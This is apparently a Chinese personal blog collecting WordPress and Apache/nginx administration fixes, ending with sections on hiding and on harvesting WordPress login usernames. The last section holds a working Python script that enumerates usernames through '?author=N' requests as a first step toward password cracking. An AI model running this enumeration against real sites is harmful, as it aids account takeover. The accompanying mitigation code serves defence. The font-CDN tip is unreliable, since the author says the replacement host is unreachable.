wordpress FTP 权限配置要点

主要是权限问题,需要注意如下几点:
1. web服务器是nginx:nginx,ftp 用户名为 ftpuser, 一定要把nginx加到ftpuser的组里,这样ftpuser可以访问nginx开放给同组成员访问的文件:
uid=1000(ftp) gid=1000(ftp) groups=1000(ftp),995(nginx)

语句:
usermod -a -G nginx ftpuser
#usermod -s /bin/bash ftpuser

2. wp-content  的权限:drwxr-xr-x  nginx:nginx
cd wp-content,  下级目录的权限要为:
plugins  drwxrwxr-x
upgrade  drwxrwxr-x
uploads  drwxrwsr-x

wordpress googleapi 替换

这里面的useso.com经确认,实际无法访问。但方法是对的。

WordPress的代码默认从fonts.googleapis.com 引用CSS,造成网站访问速度有时很慢,导致网站加载很久。

解决方案:可修改以下配置,把css的引用网站更改至国内,从 googleapis改成useso,即改成引用360的CDN来提升加载速度:
1.wp-includes 里面的 script-loader.php 的这一行:
$open_sans_font_url = “//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets”;

2.WP主主题包的: wp-content/themes/twentytwelve/functions.php
$font_url = add_query_arg( $query_args, “$protocol://fonts.googleapis.com/css” );

wordpress从apache迁移nginx后Permalinks访问报404的解决方法

官方文档  https://codex.wordpress.org/Nginx 有说了:

  • With Nginx there is no directory-level configuration file like Apache’s .htaccess or IIS’s web.config files. All configuration has to be done at the server level by an administrator, and WordPress cannot modify the configuration, like it can with Apache or IIS.
  • Pretty Permalinks functionality is slightly different when running Nginx.
  • Since Nginx does not have .htaccess-type capability and WordPress cannot automatically modify the server configuration for you, it cannot generate the rewrite rules for you.
  • Without modifications to your install, “index.php” will be added to your Permalinks. (There are ways to mitigate this with plugins (see below) and/or adding custom code to your child theme’s functions.php.)
  • However, if you do want to have some (limited) .htaccess capability, it is technically possible to do add by installing the htscanner PECL extension for PHP. (However, this is not a perfect solution so be sure to test and debug thoroughly before using on a live site.)

简单的理解,nginx没有像apache那样有 .htaccess 这个文件来配置目录层级,apahce上的永久链接在nginx上的使用方法会有些不同。但尴尬的是这篇官方文档并未指明解决方案。

通过搜索引擎搜索:Permalinks wordpress nginx, 在CSDN中找到这篇文章:https://blog.csdn.net/weixin_43690347/article/details/84038172

按照文章里说的步骤配置: /etc/nginx/conf.d/default.conf 的 location / 后,

if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /index.php;
}

重启nginx,done!

wordpress 服务重启 网页打开次数较多后 报内存不足

实际解决方案:

先找到占用内存严重的进程:
打印占用内存前10的进程:
ps aux | sort -k4,4nr | head -n 10

明确了是/usr/sbin/httpd -k start 这些进程在不断消耗内存,
与之前一直在查的PHP不是一回事,根本不是php在消耗内存。
而是httpd进程把内存消耗光了,造成php请求内存失败

httpd -V 看编译情况及加载的配置文件

修改了:
sudo vi httpd.conf , 把:#Include conf/extra/httpd-mpm.conf 前的”#”去掉了
/etc/httpd/extra/httpd-mpm.conf event里的参数,都改小了

这样修改httpd-mpm.conf就生效了。

 

 

下面这段是之前写的,文章刚要发布就因为内存不足而卡死:

背景: 升级apache到2.4, php重装后,访问wordpress网站经常会出现:Fatal error: Out of memory, 看后台error_log:  mmap() failed

尝试过多种方法都没有效果。

访问插件:http://www.xxxxxx.com/wp-admin/admin.php?page=aiowpsec&tab=tab2

在wordpress控制台内,看到PHP的内存是256M,但在服务器的配置文件中,看到的都是128M。说明配置哪里没有统一。因不知道那个256M的值是从哪里读取的,先把已知配置文件中,128M修改成256M:

vi ./wp-includes/default-constants.php,
发现这个文件里有两个变量限制内存大小 :WP_MEMORY_LIMIT WP_MAX_MEMORY_LIMIT

修改:wp-config.php,定义这2个变量的值如下:
define(‘WP_MEMORY_LIMIT’, ‘256M’);
define(‘WP_MAX_MEMORY_LIMIT’, ‘256M’);

修改之后,重启httpd服务,没有再发生内存不足的问题。

 

LAMP升级apache2.2 到 apache2.4踩过的坑

背景:要在apache中添加部署Django项目,要安装mod_wsgi这个模块,结果因为apache的apxs的版本有冲突无法安装。眼看自己的apache版本还是2.2,于是寻思着对Apache进行升级,于是踩坑之旅就此开始,熬过了2个凌晨2点钟。

Apache升级:原来考虑的最简单的思路莫过于直接yum update apache,结果有冲突,无法卸载也无法升级。最后直接下载了源码编译安装。

Apache安装完之后,原来Wordpress博客的网页无法正常加载,访问博客网址,刚开始是一访问就会直接触发一个下载动作。后面调试后,变成直接会把html文件夹根目录下的index.php文件的内容打印出来。试过执行了info.php,结果也是直接在网页上直接返回这个文件的内容。

看到测试的info.php都不能正常执行,猜测试是PHP有问题,网上一查,说是apache没有加载PHP模块导致。之前我的PHP版本刚升级过,是使用YUM操作的,服务器里没有编译生成过libphp7.so。各种尝试无果之后,果断决定升级PHP。

也是先考虑用yum update php来操作,结果也是各种冲突,升级也不行,卸载也不行。于是决定下载PHP源码自己编译安装。刚开始执行源码 ./configure的时候,参数使用官网默认提供的,装完之后,才想到没把mysql统计进php,于是又网上查找LAMP搭建时,PHP源码编译的参数,安装过程中各种包找不到,./configure失败重新补充安装缺少的组件。

PHP安装完之后,把:libphp7.so加载到apache的模块中。发现访问博客网站还是出现 Index of 的页面,直接把html根目录的文件全部暴露。这个时候,查找apache logs下的error_log,发现提示.htaccess的问题,再网上搜索,说的是apache2.4 跟apache2.2 的httpd.conf有些配置语法是不一样的。连猜带蒙改了httpd.conf, .htaccess。改完之后,error_log里这个报错是没有了,但是博客还是返回Index of,但这时info.php已经能正常返回了,说明我的PHP已经能正常工作。这中间穿插了:”AddType application/x-httpd-php” 的配置问题,没有这一句,apache无法正常处理php后缀的网页文件。

现在基本可以排除PHP的问题。

接下来继续上网查,发现会返回“Index of”是因为apache找不到网站访问初始打开的页面,默认是index.html,于是默认就会把html根目录下的文件列表返回至网页上。

需要修改httpd.conf:

把这一句:“Options Indexes FollowSymLinks”改成“Options FollowSymLinks”

这样就不会返回文件名列表,而是会直接提示 Forbidden。
再把“DirectoryIndex index.html”改成“DirectoryIndex index.html index.php”就可以让apache自动搜索index.php来加载网站了。

现已能正常打开博客网站。

但是,这个时候又发现了新的问题,网站只是主页能打开,博客文章目录里的链接点开会报链接不存在。好在这个问题以前就处理过,并且有写文章记录下解决方案,找到旧的博文,发现是mod_rewrite.so没有加载导致。编辑下httpd.conf,把mod_rewrite前的注释去掉就行了。

至此,整个博客网站的访问就全恢复正常了。

这下,原来要部署的Django网站的活可以重新排上日程了。。。

这篇博文刚写完要保存,发现还有问题,后台报:mmap() failed: [12] Cannot allocate memory, 先重启httpd服务修复。

WordPress配置了Permalink Settings后页面访问NotFound

问题:

使用管理员账号,更新了Permalink Settings的值。保存设置后,点击网站首页左侧的访问树,返回响应码为“404”。

解决方案:

在网页:https://codex.wordpress.org/Using_Permalinks中有介绍了使用Permalink需要做哪些配置:

    • Apache web server with the mod_rewrite module installed
  • In WordPress’s home directory:
      • The FollowSymLinks option enabled
      • FileInfo directives allowed (e.g. AllowOverride FileInfo or AllowOverride All)
      • An .htaccess file (if this file is missing, WordPress will try to create it when you activate “pretty” permalinks)
      • If you want WordPress to update the .htaccess file automatically, WordPress will need write access to the file.

验证结果:

1.确认mod_rewrite 模块有开启:

虽然httpd.conf文件中没有mod_rewrite,但./modules/下面存在有:mod_rewrite.so。并且在手动往httpd.conf文件末尾添加了“LoadModule rewrite_module modules/mod_rewrite.so”,重启httpd服务的时候,会提示已加载过rewrite_module。

可认定该模块原来就已加载。

2.FollowSymLinks option要开启:

这个选项原来的环境就已开启。

3.FileInfo directives allowed:

原来的值是:AllowOverride None, 改成: AllowOverride All

这个时候,重启httpd服务,网页访问就已正常。

(后面还要关注下这种配置是否要影响网站的访问安全性)

避免WordPress登陆用户名被他人获取

这篇文章中假设www.baidu.com是一个WP网站。

问题场景:
在浏览器中通过输入网址:http://www.baidu.com/?author=2,响应结果中可获取WP用户登陆名。

本文正是为应对该漏洞引起的密码破解风险而写的解决方案。

应对方法:
1.针对网址中泄漏用户名的应对方法:

编辑:./wp-includes/author-template.php,在该文件末尾添加如下代码:

/**
* 修改url重写后的作者存档页的链接变量
*/
add_filter( 'author_link', 'lxtx_author_link', 10, 2 );
function lxtx_author_link( $link, $author_id) {
global $wp_rewrite;
$author_id = (int) $author_id;
$link = $wp_rewrite->get_author_permastruct();
if ( empty($link) ) {
$file = home_url( '/' );
$link = $file . '?author=' . $author_id;
} else {
$link = str_replace('%author%', $author_id, $link);
$link = home_url( user_trailingslashit( $link ) );
}
return $link;
}

/*
*  如果没有添加下面这个方法,
*  在发起了:http://www.baidu.com/?author=2请求后,页面会返回404 NOT FOUND。
*/

/**
* 替换作者的存档页的用户名,防止被其他用途
* 作者存档页链接有2个查询变量,
* 一个是author(作者用户id),用于未url重写
* 另一个是author_name(作者用户名),用于url重写
* 此处做的是,在url重写之后,把author_name替换为author
* @link https://www.wpdaxue.com/use-nickname-for-author-slug.html
*/

add_filter( 'request', 'lxtx_author_link_request' );
function lxtx_author_link_request( $query_vars ) {
if ( array_key_exists( 'author_name', $query_vars ) ) {
global $wpdb;
$author_id=$query_vars['author_name'];
if ( $author_id ) {
$query_vars['author'] = $author_id;
unset( $query_vars['author_name'] );
}
}
return $query_vars;
}

2. 针对BODY中class泄漏用户名的应对方法:

编辑:./wp-includes/functions.php,在该文件末尾添加如下代码:

/**
 *(全网独家)如何正确的避免你的 WordPress 管理员登录用户名被暴露 - 龙笑天下
 * http://www.ilxtx.com/further-hide-your-wordpress-admin-username.html
 * 说明:直接去掉函数 comment_class() 和 body_class() 中输出的 "comment-author-" 和 "author-"
 */
function lxtx_comment_body_class($content){ 
 $pattern = "/(.*?)([^>]*)author-([^>]*)(.*?)/i";
 $replacement = '$1$4';
 $content = preg_replace($pattern, $replacement, $content); 
 return $content;
}
add_filter('comment_class', 'lxtx_comment_body_class');
add_filter('body_class', 'lxtx_comment_body_class');

代理原理:

添加了一个过滤器,将涉及”body_class”和”comment_class”的请求重定向到方法:lxtx_comment_body_class来处理。该方法会通过正则匹配过滤掉响应报文里的name跟userid。


(本文所列PHP代码为引用,源作者地址附于文章末尾)
附:
原文链接
原创作者详细剖析

测试过程中,建议使用Chrome。如果用Firefox测试的话,即使PHP代码修改了,在Firefox页面刷新后还是显示不出代码修改后的效果,应该跟缓存有关。

[WordPress安全]利用爬虫抓取网站所有用户的登陆名

这篇文章中假设www.baidu.com是一个WP网站。

方法1:通过userid请求返回用户登陆名
请求网址:http://www.baidu.com/?author=2
响应网址:http://www.baidu.com/index.php/author/username/

通过这种方式可以获取userid=2的用户对应的WP登陆名为:username
这个网页的本意是查询这个用户创建的所有posts,但其实也暴露了该用户的登陆名。

涉及的函数:
./wp-includes/author-template.php
function get_author_posts_url()


方法2:通过html的body中获取到用户名
脚本功能:获取一个Wordpress网站所有用户的登陆名

#!/usr/bin/env python
# encoding: utf-8
# wp_get_auth.py

import requests
import sys
import os
import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings()

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive'
}


def getAuthor():
    url = 'http://192.168.1.1/'
    for i in range(1, 50):

        geturl = url + "?author={}".format(i)
        print (geturl)

        try:
            global res
            res = requests.get(geturl, headers=headers, verify=False, timeout=10).content
        except Exception as e:
            print (str(e))

        p = re.compile(r'<body class="archive author author-(.+?) author-')
        matchs = []
        try:
            matchs = p.findall(res.decode())
        except UnicodeDecodeError:
            matchs = p.findall(res)

        for auth in matchs:
            fp = open('auth.txt', 'a')
            fp.write(auth + '\n')
            fp.close()


if __name__ == '__main__':
    getAuthor()

脚本运行原理:
通过向网站发送”GET”请求:
http://www.baidu.com/?author=1
http://www.baidu.com/?author=2
http://www.baidu.com/?author=3

未针对该漏洞事先防范的WP网站在返回的html响应中,会包含如下字符串:
<body class=”archive author author-name author-userid custom-background”>
这个字符串中:
name就是用于登陆WP使用的用户名,userid就是GET请求对应的传参。

通过遍历userid,发送对应的GET请求,就可以拿到该ID对应的登陆名。
在有了登陆名之后,登陆破解就成功了一半。

附:
1.该脚本源地址:
wordpress获取用户名脚本

2.该类型漏洞的应对方法:
修改functions.php以应对爬虫通过漏洞获取wp登陆名